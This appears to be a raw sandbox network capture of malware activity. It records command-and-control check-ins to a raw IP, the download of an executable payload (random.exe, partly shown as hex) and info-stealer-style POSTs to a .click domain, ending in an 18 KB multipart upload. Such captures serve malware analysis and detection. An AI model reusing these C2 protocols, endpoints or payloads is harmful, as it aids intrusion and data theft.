Dec 20, 2024 09:13:02.638062954 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018351001&unit=246122658369
Dec 20, 2024 09:13:03.985160112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49925	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:13:04.161310911 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:13:05.474399090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:13:05 GMT Content-Type: application/octet-stream Content-Length: 4522496 Last-Modified: Fri, 20 Dec 2024 07:33:58 GMT Connection: keep-alive ETag: "67651de6-450200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 a0 b8 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b8 00 00 04 00 00 22 08 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 85 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 84 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@"E@ _asa8 pa>(@.rsrcaN(@.idata aP(@ `:aR(@upzhrybtT(@ibjofqmgD@.taggant0"D@
Dec 20, 2024 09:13:05.474539995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:13:05.474556923 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:13:05.474678040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:13:05.474693060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: i02&jh=?3
Dec 20, 2024 09:13:05.474858046 CET	1236	IN	Data Raw: ca 1a c9 df 4c f2 13 2d da 52 a2 36 e8 2d af 68 a0 94 86 d7 d1 d5 c5 05 e7 ed 62 e3 89 e9 f1 13 c0 d4 49 da cf 36 52 8e 4f a3 91 59 8d 2a fc 64 8a 84 61 9d ce 84 0c 6c 7f a9 da 94 50 67 5b b5 a5 dd 1a e5 f3 1d 60 ad 70 db 62 4f 30 6b 72 7c 3a 36 Data Ascii: L-R6-hbI6ROY*dalPg[`pbO0kr\|:6fyTS~qi YRy1WEtD+!i MZER9)8-{<tV{{oW5a@Y>Qm{6w.5$<{wqv;
Dec 20, 2024 09:13:05.474886894 CET	1236	IN	Data Raw: 17 2f 1a 05 1b 7f 34 c4 e5 5a 07 3b cf f2 75 c9 82 1f 1b a3 91 42 01 d5 93 dd b0 ab 02 c5 4c 62 7a 3f d8 22 10 90 dd 7a 0c ee 1e fb a9 92 35 28 9f 18 ed 51 07 bb 30 ba 90 d6 79 c4 9b 5f 97 7f 92 62 1b 8b 68 f9 a4 a1 1d 5d a6 7b 99 c0 47 c5 d6 b6 Data Ascii: /4Z;uBLbz?"z5(Q0y_bh]{GYw,bFeM%[&(6X^'2Q<62d4n?"h g)nYT"bW?\|Z2vsm~lL'bk]rX]n{loD=9_
Dec 20, 2024 09:13:05.474908113 CET	1236	IN	Data Raw: 9e 15 48 ee 81 00 ed 7c 14 5e 24 a7 ee b7 75 dd 96 11 01 da 55 77 a7 5e 28 73 90 b8 99 09 e0 37 88 7a 89 d2 e3 e9 91 39 ad d3 80 27 67 e9 85 c6 d7 9d 60 59 9f 1c 48 bc b9 1c ae 84 d2 a5 5b c4 9b 9f 1a d3 c9 9f d4 c7 ae 30 55 b7 77 55 6e cb 7e 49 Data Ascii: H\|^$uUw^(s7z9'g`YH[0UwUn~I!e]-+hc,M5qa~})590'g=\ &M=4vG^PBG7/nR/*K-edEM/K
Dec 20, 2024 09:13:05.474925995 CET	1236	IN	Data Raw: 42 15 d7 d5 bd 0e e2 be 9e ea 1c f5 34 d1 c6 9d 70 d5 1b 74 75 0e d4 45 9f 1c 26 02 43 a7 06 86 55 8b 1b 75 9e fb 05 2a 89 21 5b ec 47 9d 0c 86 fe 68 05 bd f2 de fd 29 9a 9d 89 d0 9d 46 5b ab d1 91 d8 09 5b 4c c3 37 12 76 17 68 af e4 d0 3a 9d f3 Data Ascii: B4ptuE&CUu*![Gh)F[[L7vh:Z4QVuy)[XQT]#30`h5NDK$<Uf}syVSvm.g 6(sbk8$)/Qhqg_-%
Dec 20, 2024 09:13:05.474942923 CET	1236	IN	Data Raw: d1 41 ce 33 7f 6e c2 fd d6 dd 54 6a c4 e5 31 2f 3b e7 8e ed 84 9b 0d 97 bf 58 d3 4b 26 2a 62 c3 f1 e0 ce 76 8a df 64 37 5b fe 96 83 7f 98 6f ac 82 ba 4b ad 3e 62 8e ae 44 5f 69 b0 f4 46 55 5e 6e df 8f d8 73 ac ae df a4 e1 fd cf e9 c1 53 ab 8d 25 Data Ascii: A3nTj1/;XK&*bvd7[oK>bD_iFU^nsS%),qVV!_bHE~_tdGzY11l<mQ+g$Sa&/RHfmO1d0\D'k!>1Wn5X^aPr5dp9t
Dec 20, 2024 09:13:05.594122887 CET	1236	IN	Data Raw: 1c 59 96 bf e1 09 cf c3 c1 c7 50 b3 d8 3f 93 ea 92 9e 0b 8d c4 4a 5e 02 80 e2 e8 f1 95 0c f8 a7 9f f9 af bb 73 1a 69 d8 36 dc e8 e5 df 9f 53 97 ed 1e 59 05 fe 9a 5d 8b 0a 6a 7f 30 8a 98 67 ab a1 d0 d1 59 01 fa 70 e0 c5 32 ee 28 a7 e4 60 56 84 87 Data Ascii: YP?J^si6SY]j0gYp2(`V!OPboNiN.{zX}DaFYzyqt([4~OnL x.wyoVgCy2-}2^

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49777	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-20 08:12:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 08:12:18 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ai7gebas8sv93dfppec7ev7cr; expires=Tue, 15 Apr 2025 01:58:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2FratGpyPORJCdQ8zy%2FPx0oz66yBGkHJjBlCGtNkRJGR2bKr4nDmt%2BkrjzfLdHFrk7FHr8nZncczbyeq2twMJBueaf%2FaxrxfIsEwxrnKpqZ71Xz6jMmniRD4gIMe3W1k2c0waA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2aa4ee3c41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1618&rtt_var=610&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1787025&cwnd=239&unsent_bytes=0&cid=66f4cb6b20730471&ts=756&x=0"
2024-12-20 08:12:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 08:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49783	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-20 08:12:19 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-20 08:12:20 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8r8chcnccnnk8he5hcbr078lbd; expires=Tue, 15 Apr 2025 01:58:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UWfjBxVG0cBOr1A18gcpqKamvPqzo80WFs2X2SIddjDrzO8OtcVAHlLhvuN5Fb2LesScWNx88cJg5DWI4ovFt7Glldj98wiYRgTYpdaAdPJdhwy%2BeEm7bfgkxnqWQF62Y9nh1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2ab168aa0f90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1682&rtt_var=632&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=943&delivery_rate=1736028&cwnd=109&unsent_bytes=0&cid=1ed21931d2d39e65&ts=787&x=0"
2024-12-20 08:12:20 UTC	244	IN	Data Raw: 34 36 37 0d 0a 57 63 6e 44 2b 6d 6e 7a 31 53 64 75 4a 70 72 70 78 73 4c 58 64 34 77 4b 59 2b 76 30 4f 46 51 76 2b 56 61 39 69 70 6b 41 72 2f 6b 69 36 37 58 59 55 38 66 35 42 52 31 44 75 4e 4f 79 73 4b 49 53 6f 43 67 43 6a 39 59 43 4d 6b 36 56 4a 64 69 6d 75 33 62 43 32 32 4f 76 6f 70 59 61 6c 76 6b 46 43 31 36 34 30 35 32 35 39 52 4c 69 4b 46 6e 4a 6b 56 49 32 54 70 55 30 33 4f 48 32 63 4d 4f 61 4d 61 57 6b 6b 67 79 51 73 55 59 43 53 2f 2b 4d 6f 36 4f 39 47 65 56 6e 43 34 62 57 46 48 5a 4b 67 33 53 48 71 4e 52 6c 32 35 67 55 71 4c 43 52 53 34 37 35 58 45 78 44 39 4d 76 38 34 4c 59 53 37 6d 59 46 6a 35 39 51 50 45 65 64 4e 64 6e 67 36 57 6e 4a 6b 54 47 72 70 35 4d 47 6d 61 56 4c 43 45 7a 30 69 71 6d 6a 39 56 75 75 62 78 6e Data Ascii: 467WcnD+mnz1SduJprpxsLXd4wKY+v0OFQv+Va9ipkAr/ki67XYU8f5BR1DuNOysKISoCgCj9YCMk6VJdimu3bC22OvopYalvkFC16405259RLiKFnJkVI2TpU03OH2cMOaMaWkkgyQsUYCS/+Mo6O9GeVnC4bWFHZKg3SHqNRl25gUqLCRS475XExD9Mv84LYS7mYFj59QPEedNdng6WnJkTGrp5MGmaVLCEz0iqmj9Vuubxn
2024-12-20 08:12:20 UTC	890	IN	Data Raw: 4a 7a 68 70 6c 66 35 67 6c 7a 76 33 32 63 73 76 62 4a 4f 57 34 32 41 79 64 39 78 31 4d 54 50 53 46 6f 61 4f 36 45 75 39 6f 45 34 61 57 57 54 35 46 6e 7a 37 51 35 2f 52 73 78 35 77 7a 6f 71 61 58 44 4a 6d 78 53 67 38 45 74 73 75 6a 75 50 56 4e 72 6b 67 52 69 70 56 4f 4f 31 7a 62 4b 35 48 78 75 32 58 42 32 32 50 72 70 35 59 4b 6e 4c 64 58 42 45 2f 7a 6a 72 61 72 76 42 6a 6a 61 41 79 44 6d 56 6b 32 53 70 45 2b 30 4f 4c 2f 62 38 43 64 4f 36 76 68 31 6b 75 57 72 77 56 55 42 4e 75 4f 74 4b 65 35 41 36 78 53 51 5a 62 59 51 33 5a 4b 6c 33 53 48 71 50 4e 6e 7a 70 67 77 70 4b 4b 51 41 49 4f 33 56 77 70 4a 2f 5a 6d 69 70 62 73 66 37 58 6f 4c 68 35 42 5a 50 30 61 53 4d 64 6a 73 75 79 79 4e 6e 43 50 72 2b 64 67 71 6e 4c 78 4a 42 6c 50 34 79 37 76 75 72 46 58 70 5a 45 Data Ascii: Jzhplf5glzv32csvbJOW42Ayd9x1MTPSFoaO6Eu9oE4aWWT5Fnz7Q5/Rsx5wzoqaXDJmxSg8EtsujuPVNrkgRipVOO1zbK5Hxu2XB22Prp5YKnLdXBE/zjrarvBjjaAyDmVk2SpE+0OL/b8CdO6vh1kuWrwVUBNuOtKe5A6xSQZbYQ3ZKl3SHqPNnzpgwpKKQAIO3VwpJ/Zmipbsf7XoLh5BZP0aSMdjsuyyNnCPr+dgqnLxJBlP4y7vurFXpZE
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 34 34 62 35 0d 0a 77 67 42 62 67 5a 67 61 66 31 6b 56 34 56 4e 73 7a 30 36 69 6a 49 73 4b 55 4e 4b 4f 68 6d 51 2b 63 73 30 51 42 53 50 47 49 71 4b 79 39 47 4f 4a 73 44 6f 47 65 57 54 35 66 6c 54 72 5a 37 76 74 6e 6a 64 56 37 72 4c 6e 59 55 39 47 54 53 78 74 51 38 38 6d 52 6f 37 73 62 36 58 35 42 6c 74 68 44 64 6b 71 58 64 49 65 6f 39 57 2f 47 6c 7a 79 69 6f 4a 73 4c 6d 37 6c 4b 42 6b 7a 77 69 36 6d 68 76 68 33 6f 5a 51 71 47 6d 56 30 2b 54 70 63 78 30 75 75 37 4c 49 32 63 49 2b 76 35 32 43 36 66 74 46 51 64 42 73 32 49 71 71 36 79 41 36 35 33 54 35 44 57 58 54 6f 4e 77 33 54 56 37 2f 78 6d 77 4a 45 34 72 36 57 56 42 4a 69 2b 54 42 35 4f 39 49 57 32 72 62 38 51 34 47 51 45 68 70 5a 62 4e 30 4f 52 50 35 2b 6d 75 32 58 56 32 32 50 72 6a 70 55 62 67 37 31 4f Data Ascii: 44b5wgBbgZgaf1kV4VNsz06ijIsKUNKOhmQ+cs0QBSPGIqKy9GOJsDoGeWT5flTrZ7vtnjdV7rLnYU9GTSxtQ88mRo7sb6X5BlthDdkqXdIeo9W/GlzyioJsLm7lKBkzwi6mhvh3oZQqGmV0+Tpcx0uu7LI2cI+v52C6ftFQdBs2Iqq6yA653T5DWXToNw3TV7/xmwJE4r6WVBJi+TB5O9IW2rb8Q4GQEhpZbN0ORP5+mu2XV22PrjpUbg71O
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 75 6a 75 50 56 4e 72 6b 63 43 6e 35 77 61 4b 51 4f 43 64 4e 6a 6b 75 7a 71 4e 6b 54 65 76 6f 70 51 43 6e 62 70 45 43 45 50 31 6a 36 53 6d 73 78 44 76 59 77 6d 46 6d 56 41 36 53 5a 63 39 32 65 54 34 59 63 76 62 64 65 75 6d 67 45 76 4a 39 32 51 42 54 2f 53 4c 70 37 47 79 56 61 41 6f 44 34 2b 57 47 6d 35 62 69 79 50 59 39 37 56 37 6a 5a 77 33 36 2f 6e 59 41 59 4f 79 53 77 68 4f 2f 59 2b 6f 71 72 55 51 2f 47 41 48 6a 70 70 53 4d 30 4b 64 4d 64 4c 76 38 47 48 66 69 54 69 76 72 35 52 4c 33 2f 64 43 46 41 53 67 79 34 47 33 74 67 58 6f 61 30 47 57 32 45 4e 32 53 70 64 30 68 36 6a 37 62 4d 47 51 50 4b 43 71 6e 41 2b 52 75 6b 34 43 53 76 47 48 72 4b 79 79 42 2b 4e 74 43 59 4f 66 58 7a 70 41 6d 43 62 63 36 62 73 73 6a 5a 77 6a 36 2f 6e 59 4c 4b 4b 41 5a 6b 78 62 74 Data Ascii: ujuPVNrkcCn5waKQOCdNjkuzqNkTevopQCnbpECEP1j6SmsxDvYwmFmVA6SZc92eT4YcvbdeumgEvJ92QBT/SLp7GyVaAoD4+WGm5biyPY97V7jZw36/nYAYOySwhO/Y+oqrUQ/GAHjppSM0KdMdLv8GHfiTivr5RL3/dCFASgy4G3tgXoa0GW2EN2Spd0h6j7bMGQPKCqnA+Ruk4CSvGHrKyyB+NtCYOfXzpAmCbc6bssjZwj6/nYLKKAZkxbt
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 74 56 62 59 6f 4c 59 71 5a 55 58 5a 53 31 53 32 66 37 2f 63 69 6c 64 73 38 6f 36 6d 57 43 4a 65 38 53 51 42 46 38 59 32 68 71 4c 49 61 36 57 45 47 69 5a 42 49 4d 55 43 53 4e 4e 54 68 38 57 62 4d 6b 48 76 6c 34 5a 38 54 30 65 38 46 50 6b 50 75 6d 36 66 67 71 6c 76 33 4b 41 61 46 31 67 4a 32 51 49 6b 31 32 76 72 2f 62 63 61 4a 4d 4b 32 68 6e 52 6d 57 75 30 38 44 52 2f 43 47 70 36 69 6e 46 65 4e 6f 45 35 75 51 55 54 67 4e 31 58 54 59 38 4c 73 36 6a 61 6f 73 6f 4f 47 48 52 59 6a 33 51 67 41 45 6f 4d 75 6e 71 72 67 62 2f 47 77 48 67 70 56 55 50 6b 69 54 4d 4e 58 6c 39 47 6e 48 6b 6a 4f 72 72 70 30 44 6d 72 46 4c 44 55 4c 30 68 75 54 75 39 52 4c 32 4b 46 6e 4a 73 55 41 37 53 34 77 6c 36 75 2f 37 4d 34 32 45 64 62 4c 68 6e 77 66 52 37 77 55 42 53 50 4b 47 6f 61 Data Ascii: tVbYoLYqZUXZS1S2f7/cilds8o6mWCJe8SQBF8Y2hqLIa6WEGiZBIMUCSNNTh8WbMkHvl4Z8T0e8FPkPum6fgqlv3KAaF1gJ2QIk12vr/bcaJMK2hnRmWu08DR/CGp6inFeNoE5uQUTgN1XTY8Ls6jaosoOGHRYj3QgAEoMunqrgb/GwHgpVUPkiTMNXl9GnHkjOrrp0DmrFLDUL0huTu9RL2KFnJsUA7S4wl6u/7M42EdbLhnwfR7wUBSPKGoa
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 64 30 2b 51 31 6c 30 36 44 63 4e 30 30 65 58 39 59 38 79 54 4d 36 75 6e 6b 67 2b 53 76 6b 59 4c 54 66 36 41 70 36 71 36 45 75 68 73 41 59 4b 52 56 44 42 49 6b 44 32 66 70 72 74 6c 31 64 74 6a 36 34 65 37 47 59 4f 46 53 77 39 66 75 4a 54 71 75 66 55 53 34 69 68 5a 79 5a 31 53 4f 56 2b 65 50 64 66 73 38 6d 4c 4a 6b 54 61 73 6f 5a 30 47 6c 4c 4e 4c 43 45 50 34 68 36 75 6e 76 52 72 71 61 41 37 4a 32 42 6f 78 56 64 74 73 6e 38 6a 77 64 4f 79 56 4d 4c 6e 68 68 30 57 49 39 30 49 41 42 4b 44 4c 71 71 6d 30 48 65 42 6b 43 59 32 45 57 6a 31 45 6c 44 58 51 36 50 68 6a 78 35 4d 70 72 61 47 54 41 35 61 2f 51 51 4a 57 2b 59 54 6b 37 76 55 53 39 69 68 5a 79 61 64 4d 4d 55 71 55 64 76 62 76 34 47 50 48 6d 44 43 6e 34 59 64 46 69 50 64 43 41 41 53 67 79 36 6d 73 75 42 48 Data Ascii: d0+Q1l06DcN00eX9Y8yTM6unkg+SvkYLTf6Ap6q6EuhsAYKRVDBIkD2fprtl1dtj64e7GYOFSw9fuJTqufUS4ihZyZ1SOV+ePdfs8mLJkTasoZ0GlLNLCEP4h6unvRrqaA7J2BoxVdtsn8jwdOyVMLnhh0WI90IABKDLqqm0HeBkCY2EWj1ElDXQ6Phjx5MpraGTA5a/QQJW+YTk7vUS9ihZyadMMUqUdvbv4GPHmDCn4YdFiPdCAASgy6msuBH
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 70 6f 61 62 67 32 51 4f 74 72 70 39 32 6a 4b 6c 53 6d 71 71 35 51 4b 6c 72 42 4f 48 6b 2f 71 67 4b 79 6a 75 78 33 6e 61 41 2b 4a 6c 31 63 32 44 64 56 30 32 50 43 37 4f 6f 32 2b 47 4c 79 33 6b 6b 6d 79 6f 46 4d 47 51 2f 53 64 72 36 47 32 41 2b 4e 34 51 63 66 57 53 7a 46 63 32 32 7a 4a 2b 4f 78 6c 30 74 55 69 36 36 61 55 53 38 6e 33 54 67 4e 4b 39 59 43 67 71 62 41 64 37 57 30 45 67 35 70 57 4e 30 57 53 50 74 72 74 2f 57 6a 4f 6c 54 53 71 72 5a 77 43 6e 37 34 46 51 67 54 2f 6b 2b 54 34 39 53 50 2b 62 78 6d 45 68 68 67 45 54 6f 6f 6c 79 75 58 72 5a 49 2b 30 4f 4b 65 69 6e 51 79 42 39 31 70 43 58 62 69 4d 71 4f 44 74 56 65 35 73 44 59 71 52 56 44 6c 41 6c 44 50 55 35 2f 46 73 33 35 51 2b 6f 36 32 51 42 6f 4f 39 54 78 35 4e 38 59 61 71 71 4b 63 57 72 69 5a 42 Data Ascii: poabg2QOtrp92jKlSmqq5QKlrBOHk/qgKyjux3naA+Jl1c2DdV02PC7Oo2+GLy3kkmyoFMGQ/Sdr6G2A+N4QcfWSzFc22zJ+Oxl0tUi66aUS8n3TgNK9YCgqbAd7W0Eg5pWN0WSPtrt/WjOlTSqrZwCn74FQgT/k+T49SP+bxmEhhgEToolyuXrZI+0OKeinQyB91pCXbiMqODtVe5sDYqRVDlAlDPU5/Fs35Q+o62QBoO9Tx5N8YaqqKcWriZB
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 74 4d 6d 44 71 64 32 65 31 76 33 5a 67 2b 72 4a 2b 6d 42 5a 61 6a 51 67 4a 43 2b 4d 76 71 34 4c 70 56 74 6c 46 42 77 64 5a 6c 65 41 32 44 64 49 65 6f 7a 6d 48 44 6c 54 79 39 73 4e 55 6f 68 71 46 50 46 77 62 65 6a 4c 57 70 6f 78 6a 38 4b 45 2f 4a 6b 42 70 75 48 64 56 30 32 2f 6d 37 4f 70 33 4a 59 50 37 79 7a 31 76 44 71 41 73 56 42 4f 37 4c 2f 50 4c 37 56 66 77 6f 57 63 6e 52 57 53 52 66 6e 54 66 4a 36 37 78 63 38 37 73 77 76 61 43 56 41 4a 32 4a 65 78 6c 48 39 6f 57 6a 74 71 52 56 6f 43 67 4f 79 63 35 6a 64 67 58 62 43 35 47 6f 34 79 4b 56 32 77 36 6f 72 35 59 4d 68 36 59 49 4c 45 2f 75 69 71 6d 72 75 56 66 76 5a 52 47 4f 31 68 52 32 53 39 74 73 6a 36 61 37 5a 74 7a 62 59 2f 76 7a 77 31 37 43 34 42 56 65 57 37 61 53 35 4c 62 31 54 62 77 6d 51 5a 76 57 41 Data Ascii: tMmDqd2e1v3Zg+rJ+mBZajQgJC+Mvq4LpVtlFBwdZleA2DdIeozmHDlTy9sNUohqFPFwbejLWpoxj8KE/JkBpuHdV02/m7Op3JYP7yz1vDqAsVBO7L/PL7VfwoWcnRWSRfnTfJ67xc87swvaCVAJ2JexlH9oWjtqRVoCgOyc5jdgXbC5Go4yKV2w6or5YMh6YILE/uiqmruVfvZRGO1hR2S9tsj6a7ZtzbY/vzw17C4BVeW7aS5Lb1TbwmQZvWA
2024-12-20 08:12:20 UTC	1369	IN	Data Raw: 6c 6b 74 33 34 63 38 36 62 4d 4f 76 76 32 41 33 52 37 78 64 43 42 50 79 61 35 50 6a 6c 52 37 55 39 55 74 37 47 43 43 6b 44 67 6e 54 4a 71 4b 4d 77 67 39 73 70 36 2f 6e 59 54 4a 4b 6c 56 77 70 48 37 6f 6a 6a 6e 6f 73 7a 37 57 38 48 69 70 68 4e 4a 77 2b 30 4e 39 54 6b 39 32 58 62 70 51 57 2b 6f 70 59 46 6c 71 46 55 54 41 71 34 68 4f 54 34 6a 46 58 2f 59 67 62 46 33 68 59 6e 58 70 55 2f 79 65 2b 37 58 59 50 62 49 2b 76 35 32 44 36 53 75 55 73 4c 55 75 6e 47 67 71 4f 79 45 2b 31 6d 46 70 6a 57 46 48 5a 4c 32 32 79 4e 70 72 74 6d 33 4e 74 6a 2b 2f 50 44 58 73 4c 67 46 56 35 62 74 70 4c 6b 74 76 56 4e 76 53 5a 42 6d 39 59 43 64 67 71 56 4f 64 37 72 39 57 48 66 69 54 32 6f 74 35 74 4d 72 34 6c 67 41 55 6e 39 68 61 4f 65 69 7a 54 6b 65 41 79 47 6b 57 51 49 65 6f Data Ascii: lkt34c86bMOvv2A3R7xdCBPya5PjlR7U9Ut7GCCkDgnTJqKMwg9sp6/nYTJKlVwpH7ojjnosz7W8HiphNJw+0N9Tk92XbpQW+opYFlqFUTAq4hOT4jFX/YgbF3hYnXpU/ye+7XYPbI+v52D6SuUsLUunGgqOyE+1mFpjWFHZL22yNprtm3Ntj+/PDXsLgFV5btpLktvVNvSZBm9YCdgqVOd7r9WHfiT2ot5tMr4lgAUn9haOeizTkeAyGkWQIeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49791	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:22 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0V5ITJXF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18098 Host: lossekniyyt.click
